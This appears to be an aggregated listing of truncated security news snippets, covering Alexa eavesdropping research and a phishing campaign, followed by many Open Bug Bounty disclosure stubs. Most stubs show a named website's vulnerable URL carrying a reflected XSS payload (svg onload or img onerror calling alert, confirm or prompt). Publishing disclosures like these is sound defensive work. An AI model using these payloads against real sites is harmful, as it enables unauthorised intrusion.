Alexa Eavesdropping Flub Re-Sparks Voice Assistant Privacy Debate

After an Alexa-enabled Echo device recorded and shared a private conversation of its unknowing owners, the tech industry – and the public – is casting a wary eye on voice assistant privacy issues. On Thursday, news emerged that a Portland family’s Echo device had recorded a conversation of them –...

Amazon Alexa Has Got Some Serious Skills—Spying On Users!

"Alexa, are you spying on me?" — aaaa.....mmmm.....hmmm.....maybe!!! Security researchers have developed a new malicious 'skill' for Amazon's popular voice assistant Alexa that can turn your Amazon Echo into a full-fledged spying device. Amazon Echo is an always-listening voice-activated smart ho...

Amazon Alexa Has Got Some Serious Skills—Spying On Users!

"Alexa, are you spying on me?" — aaaa.....mmmm.....hmmm.....maybe!!! Security researchers have developed a new malicious 'skill' for Amazon's popular voice assistant Alexa that can turn your Amazon Echo into a full-fledged spying device. Amazon Echo is an always-listening voice-activated smart ho...

Researchers Hacked Amazon’s Alexa to Spy On Users, Again

A malicious proof-of-concept Amazon Echo Skill shows how attackers can abuse the Alexa virtual assistant to eavesdrop on consumers with smart devices – and automatically transcribe every word said. Checkmarx researchers told Threatpost that they created a proof-of-concept Alexa Skill that abuses...

Gone Phishing For The Holidays

Written by Or Katz and Amiram Cohen Overview: While our team, Akamai's Enterprise Threat Protector Security Research Team, monitored internet traffic throughout the 2017 holiday season, we spotted a wide-spread phishing campaign targeting users through an advertising tactic. During the six week...

unishop.by XSS vulnerability

Vulnerable URL: https://unishop.by/search/?query=%3C/title%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 137256 VIP website status:| No Coordinated Disclosure Timeline:...

planetkey.de XSS vulnerability

Vulnerable URL: https://www.planetkey.de/suche/?s=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 112859 VIP website status:| No...

qmery.com XSS vulnerability

Vulnerable URL: http://qmery.com/?s=" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 216938 VIP website status:| No Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bu...

axiomtelecom.com XSS vulnerability

Vulnerable URL: https://www.axiomtelecom.com/search/'%3E%3Csvg/onload=alert'OPENBUGBOUNTY.ORG'%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 53431 VIP website status:| No Coordinated Disclosure Timeline:...

tpd.sk XSS vulnerability

Vulnerable URL: https://www.tpd.sk/elektronika-a-spotrebice-c20073?page=2%22%3E%3Cimg%20src=1%20onerror=alert%22OPENBUGBOUNTY%22%3E.gif Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 98297 VIP website status:| N...

humo-gen.com XSS vulnerability

Vulnerable URL: http://www.humo-gen.com/humo-gen/birthdaylist.php/a7210%22%3E%3Cimg%20src%3da%20onerror%3dalert1%3E9ebde7bc1a6 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4650102 VIP website status:| No...

pizza.od.ua XSS vulnerability

Vulnerable URL:...

media.info XSS vulnerability

Vulnerable URL: https://media.info/search?s=%3C/script%3E%3Csvg%2Fonload=confirm%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| Yes, at 20.12.2017 Latest check for patch:| 20.12.2017 06:27 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2465...

nicogachan.com XSS vulnerability

Vulnerable URL: http://nicogachan.com/search.php?query=%22%3E%3Csvg%3E%3Cscript%3E/%3C@/%3Eprompt/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4178617 VIP website status:| No...

endlessvideo.com XSS vulnerability

Vulnerable URL: https://endlessvideo.com/watch?v=-tTurv6i6J0=%22%3E%3Csvg%3E%3Cscript%3E/%3C@/%3Eprompt/OPENBUGBOUNTY/%3C/script%3E= Details: Description| Value ---|--- Patched:| Yes, at 19.12.2017 Latest check for patch:| 19.12.2017 11:42 GMT Vulnerability type:| XSS Vulnerability status:|...

gofeminin.de XSS vulnerability

Vulnerable URL: https://www.gofeminin.de/reloaded/users/login Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16784 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerabili...

brickseek.com XSS vulnerability

Vulnerable URL: https://brickseek.com/login/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16588 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via...

loyolahs.edu XSS vulnerability

Vulnerable URL: https://www.loyolahs.edu/?s=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 229233 VIP website status:| No Coordinated...

bb.iifree.com XSS vulnerability

Vulnerable URL: http://bb.iifree.com/index.asp?user=%27%22%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3Ecctv=6 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

myanmarbusiness-directory.com XSS vulnerability

Vulnerable URL: http://www.myanmarbusiness-directory.com/en/categories-index/search.html?searchword=" onfocus=promptdocument.domain autofocus alt="id=952=-alert1-=210=commtree=searchcat=1 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicl...